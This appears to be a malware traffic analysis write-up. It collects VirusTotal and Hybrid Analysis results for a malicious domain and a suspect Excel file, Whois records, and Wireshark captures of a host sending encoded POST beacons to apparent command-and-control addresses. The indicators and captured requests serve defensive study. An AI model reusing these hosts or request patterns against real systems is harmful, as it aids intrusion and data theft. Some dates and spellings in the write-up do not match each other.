User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36\r\n

Host: snnmnkxdhflwgthqismb.com\r\n

Content-Length: 431\r\n

Connection: Close\r\n



# Malware Download

## URL and file flagged as malicious in VirusTotal

13

/ 80

Community Score

13 engines detected this URL

http://snnmnkxdhflwgthqismb.com/post.php

snnmnkxdhflwgthqismb.com

200

Status

text/html; charset=UTF-8

Content Type

2020-06-11 06:42:28 UTC

1 month ago

DETECTION

DETAILS

COMMUNITY

AegisLab WebGuard	Malicious	Antiy-AVL	Malicious
Comodo Valkyrie Verdict	Malicious	CRDF	Malicious
CyRadar	Malicious	Dr.Web	Malicious
ESET	Malware	Forcepoint ThreatSeeker	Malicious
Fortinet	Malware	Google Safebrowsing	Phishing
Kaspersky	Malware	Sophos AV	Malicious



# Malware Download

## VirusTotal Details

HTTP Response ⓘ

Final URL

http://snnmnkxdhflwgthqismb.com/post.php

Serving IP Address

80.249.147.189

Status Code

200

Body SHA-256

e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

Headers

connection

close

content-length

0

content-type

text/html; charset=UTF-8

date

Thu, 11 Jun 2020 06:42:29 GMT

server

nginx

# Malware Download

## Hybrid Analysis Details

Associated Artifacts for [snnmnkxdhflwgthqismb.com](#)

Whois Field	Value
Creation Date	Tue, 14 Apr 2020 11:48:38 GMT
DNSSEC	unsigned
Domain Name	SNNMNKXDHFLWGTHQISMB.COM
E-Mail	abuse@namecheap.com
Expiration Date	Wed, 14 Apr 2021 11:48:38 GMT
Name Server	DNS1.REGISTRAR-SERVERS.COM
Name Server	DNS2.REGISTRAR-SERVERS.COM
Reigstrar	NameCheap, Inc.
Status	clientTransferProhibited <a href="https://icann.org/epp#clientTransferProhibited">https://icann.org/epp#clientTransferProhibited</a>
Last Update	Tue, 14 Apr 2020 11:48:41 GMT
Whois Server	whois.namecheap.com

Associated SHA256	Threat Level	Positives	Scan Date	Reference
bb5829b6f404a3e743acf85ac9c3cdd8a9e4b647	suspicious	-	04/17/2020 15:42:22	-
be126a3a822657b5bf1821ada2df91bf	suspicious	-	04/17/2020 15:42:22	-



# Malware Download

## Hybrid Analysis Details

 John Smith.xls


Filename	John Smith.xls
Size	157KiB (160256 bytes)
Type	<span>xls</span> <span>office</span>
Description	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: ppeppqpjizhsm, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Apr 17 13:13:48 2020, Last Saved Time/Date: Fri Apr 17 13:17:22 2020, Security: 1
Architecture	WINDOWS
SHA256	2ec28c40e5b51a548ec6922dae09a4237a70fcaab21e85a16511dec4036331ea 

### Resources



### Visualization

Input File (PortEx)



### Classification (TrID)

- 80.2% (.XLS) Microsoft Excel sheet
- 19.7% (.) Generic OLE2 / Multistream Compound File

# Malware Feeding to Fake Website (URL)

---

## Summary

- Observed traffic:
  - User Rotterdam-PC.mind-hammer.net (IP 172.16.4.205) sent a HTTP POST request to the /empty/gif file at the address b5689023.green.mattingssolutions.co (IP 185.243.115.84) over **HTTP port 80**. The content type was application/x-www-form-urlencoded.
  - The HTTP POST request was returned with OK status code 200.
  - User Rotterdam-PC.mind-hammer.net then started sending repeated HTTP POST requests to URL website <http://31.7.62.214/fakeurl.htm> over **HTTP port 443**.
- What, specifically, was the user doing? Which site were they browsing?
  - The user was browsing website b5689023.green.mattingssolutions.co, and clicked on an empty image (gif) file (possibly a form). This then left a malicious php file that fed to the fake URL website (<http://31.7.62.214/fakeurl.htm>).



# Malware Feeding to Fake Website (URL)

17.91142...	b5689023.green.ma...	80	Rotterdam-PC.mind-...	49249		HTTP	Continuation
17.95402...	b5689023.green.ma...	80	Rotterdam-PC.mind-...	49249		HTTP	Continuation
18.01519...	Rotterdam-PC.mind...	49249	b5689023.green.mat...	80	<u>b5689023.green.mattingsoluti...</u>	HTTP	POST /empty.gif HTTP/1.1 (app)
18.02234...	b5689023.green.ma...	80	Rotterdam-PC.mind-...	49249		HTTP	HTTP/1.1 200 OK
19.23621...	Rotterdam-PC.mind...	49255	31.7.62.214	443	31.7.62.214	HTTP	POST http://31.7.62.214/fakeurl
19.24097...	Rotterdam-PC.mind...	49256	geograph.netsuppor...	80	geo.netsupportsoftware.com	HTTP	GET /location/loca.asp HTTP/1.1
19.91390...	31.7.62.214	443	Rotterdam-PC.mind-...	49255		HTTP	HTTP/1.1 200 OK (application/x
19.92168...	Rotterdam-PC.mind...	49255	31.7.62.214	443	31.7.62.214	HTTP	POST http://31.7.62.214/fakeurl
20.47049...	geograph.netsuppo...	80	Rotterdam-PC.mind-...	49256		HTTP	HTTP/1.1 200 OK (text/html)
20.47719...	31.7.62.214	443	Rotterdam-PC.mind...	49255		HTTP	HTTP/1.1 200 OK (application/x

- TCP payload (214 bytes)
- ▼ Hypertext Transfer Protocol
  - ▼ [Expert Info (Warning/Security): Unencrypted HTTP protocol detected over encrypted port, could indicate a dangerous misconfiguration.]
    - [Unencrypted HTTP protocol detected over encrypted port, could indicate a dangerous misconfiguration.]
    - [Severity level: Warning]
    - [Group: Security]
  - ▼ POST http://31.7.62.214/fakeurl.htm HTTP/1.1\n
    - ▼ [Expert Info (Chat/Sequence): POST http://31.7.62.214/fakeurl.htm HTTP/1.1\n]
      - [POST http://31.7.62.214/fakeurl.htm HTTP/1.1\n]
      - [Severity level: Chat]



# Malware Feeding to Fake Website (URL)

```
POST /empty.gif HTTP/1.1
Accept: */*
Accept-Language: en-US
Age: 911068f789126eb9
Content-Type: application/x-www-form-urlencoded
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR
2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: b5689023.green.mattingsolutions.co
Content-Length: 272
Connection: Keep-Alive
Cache-Control: no-cache

c=56ab9b969e9b9e8d9a96e88e98ea8e9ee8fed8ced9d88e9ee8e6eaffffe3e2d59a85efeedf8e9ee8eadbdbefcadfca8e9e
e8e7c4c8cac78e9ee8ffcec6db8e9ee8edc2d9cecdc4d385ced3ce8d99969b8d98969b8d9f969a8d9e969b8d9d969b8d9c96
8d93969b8d92969b8d9a9b969b8d9a9a969a8d9a99969a9e9d989e9d999d9893989e9e8dHTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Fri, 19 Jul 2019 18:57:20 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Connection: keep-alive
X-Powered-By: PHP/7.2.19
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, OPTIONS, DELETE, PUT

POST /empty.gif?ss&ss1img HTTP/1.1
```





The End